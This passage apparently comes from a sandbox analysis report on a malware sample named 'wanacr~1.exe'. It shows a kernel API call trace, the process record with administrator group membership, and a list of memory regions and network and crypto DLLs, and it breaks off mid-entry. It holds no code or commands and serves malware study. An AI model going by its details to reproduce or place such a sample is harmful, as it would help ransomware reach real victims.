(FastMutex=0xffffe00000b1f1d0) [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.783] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.797] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.797] EngAllocMem () returned 0xfffff90142521030 [0145.798] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.798] MmMapViewOfSection (in: SectionObject=0xffffc00001242570, Process=0xffffe00001078440, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x47821c0000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90142521370) returned 0x0 [0145.798] EngCreateBitmap () returned 0x110506fe [0145.798] EngAssociateSurface () returned 0x1 [0145.798] EngLockSurface () returned 0xfffff9014088acb8 [0145.798] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000015a44a0 [0145.798] KeInitializeEvent (in: Event=0xffffe000015a44b8, Type=0x1, State=0 | out: Event=0xffffe000015a44b8) [0145.798] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.814] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.814] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.818] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.885] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.885] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.963] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.964] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.010] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.010] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.027] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.027] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.074] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.074] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.090] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.090] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.136] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.136] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.148] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.148] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.234] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.235] EngAllocMem () returned 0xfffff90140892ca0 [0146.235] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.235] MmMapViewOfSection (in: SectionObject=0xffffc00001aed1c0, Process=0xffffe00001078440, BaseAddress=0xfffff90140892fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90140892fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90140892fc8*=0x4780af0000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90140892fe0) returned 0x0 [0146.235] EngCreateBitmap () returned 0xffffffff82050564 [0146.235] EngAssociateSurface () returned 0x1 [0146.235] EngLockSurface () returned 0xfffff901409b2658 [0146.235] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00000fcff40 [0146.235] KeInitializeEvent (in: Event=0xffffe00000fcff58, Type=0x1, State=0 | out: Event=0xffffe00000fcff58) [0146.235] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.387] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.387] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.404] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.404] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.448] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.448] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.448] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.448] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.448] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.448] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.464] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.465] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.485] IoGetCurrentProcess () returned 0xffffe00001078440 [0146.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.569] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x4780af0000) returned 0x0 [0146.578] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x47839e0000) returned 0x0 Process: id = "82" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x68267000" os_pid = "0xad0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "81" os_parent_pid = "0xaac" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 10006 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10007 start_va = 0xa8d9c90000 end_va = 0xa8d9caffff entry_point = 0x0 region_type = private name = "private_0x000000a8d9c90000" filename = "" Region: id = 10008 start_va = 0xa8d9cb0000 end_va = 0xa8d9cbefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8d9cb0000" filename = "" Region: id = 10009 start_va = 0xa8d9cc0000 end_va = 0xa8da0bffff entry_point = 0x0 region_type = private name = "private_0x000000a8d9cc0000" filename = "" Region: id = 10010 start_va = 0xa8da0c0000 end_va = 0xa8da0c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8da0c0000" filename = "" Region: id = 10011 start_va = 0x7ff6cead0000 end_va = 0x7ff6ceaf2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cead0000" filename = "" Region: id = 10012 start_va = 0x7ff6ceaf9000 end_va = 0x7ff6ceaf9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6ceaf9000" filename = "" Region: id = 10013 start_va = 0x7ff6ceafe000 end_va = 0x7ff6ceafffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ceafe000" filename = "" Region: id = 10014 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 10015 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10016 start_va = 0xa8da0d0000 end_va = 0xa8da0d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8da0d0000" filename = "" Region: id = 10017 start_va = 0xa8da0e0000 end_va = 0xa8da0e1fff entry_point = 0x0 region_type = private name = "private_0x000000a8da0e0000" filename = "" Region: id = 10018 start_va = 0xa8da0f0000 end_va = 0xa8da56ffff entry_point = 0x0 region_type = private name = "private_0x000000a8da0f0000" filename = "" Region: id = 10019 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 10020 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 10021 start_va = 0xa8d9c90000 end_va = 0xa8d9c9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8d9c90000" filename = "" Region: id = 10022 start_va = 0x7ff6ce9d0000 end_va = 0x7ff6ceacffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce9d0000" filename = "" Region: id = 10023 start_va = 0xa8da0f0000 end_va = 0xa8da16dfff entry_point = 0xa8da0f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10024 start_va = 0xa8da170000 end_va = 0xa8da56ffff entry_point = 0x0 region_type = private name = "private_0x000000a8da170000" filename = "" Region: id = 10025 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 10026 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10027 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 10028 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 10029 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 10030 start_va = 0xa8d9ca0000 end_va = 0xa8d9ca6fff entry_point = 0x0 region_type = private name = "private_0x000000a8d9ca0000" filename = "" Region: id = 10031 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 10032 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 10033 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 10034 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10035 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10036 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 10037 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 10038 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 10039 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10040 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 10041 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10042 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10043 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 10044 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 10045 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 10046 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 10047 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 10048 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 10049 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 10050 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10051 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 